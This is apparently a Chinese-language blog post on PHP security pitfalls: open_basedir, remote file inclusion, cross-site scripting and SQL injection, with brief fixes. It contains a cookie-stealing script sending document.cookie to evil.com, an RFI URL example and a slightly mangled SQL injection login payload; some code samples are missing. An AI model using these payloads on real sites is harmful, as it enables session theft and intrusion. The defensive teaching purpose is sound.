程序代碼的安全是一個程序員對開發的應用方面的多方面的素質體現,下面我來總結一下自己的經驗,有需要了解朋友可參考一下。
百度一下。設定open_basedir後只有指定的目錄和子目錄下的php腳本才會被執行。
用php讀取open_basedir以外的目錄或文件會報錯
權限不足
一般虛擬主機供應商都是設定為/tmp和/home
這是用戶習慣了,我們要想辦法解決這些問題了,下面總結了一些php安全問題。
1.include的時候要小心,要判斷你本地是否有這個文件,以免造成安全漏洞。
比如:
這裡假設$module是function/42833.htm target=_blank >全局變量。
這個腳本讓攻擊者有機會在你的服務器上執行任何的php代碼,比如他在浏覽器url後面加上?module=http://example.com/my就行了。當php接收到這個url的時候,腳本中的"$module"變量的值將被設置為http://example.com/my。因此當php執行include的時候就很危險了......
解決辦法:關閉php.ini中的register_globals或include的時候判斷一下。
2.跨站運行腳本。
簡單的說是攻擊者可以在用戶的浏覽器端執行一些客戶端的腳本,例如js,然後盜取用戶的cookies或其他重要數據。
比如<script language='javaScript'>document.location=?'http://evil.com/cgi-bin/cookie.cgi?f='+document.cookie</script>
如果你點擊了按鈕,你本地的cookie信息將會被發送的某個人的郵箱(由此可見你想做個盜取用戶信息的網站是多麼容易)。
3.SQL注入
個人覺得是sql自身的靈活,易用給自己帶來的負面影響。
比如用人寫了
http://example.com/login.php?user=admin'%20OR%20(user='&pwd=')%20R%20user='
你的php代碼可能變成。
可以用函數進行過濾,過濾掉(') ("),()等等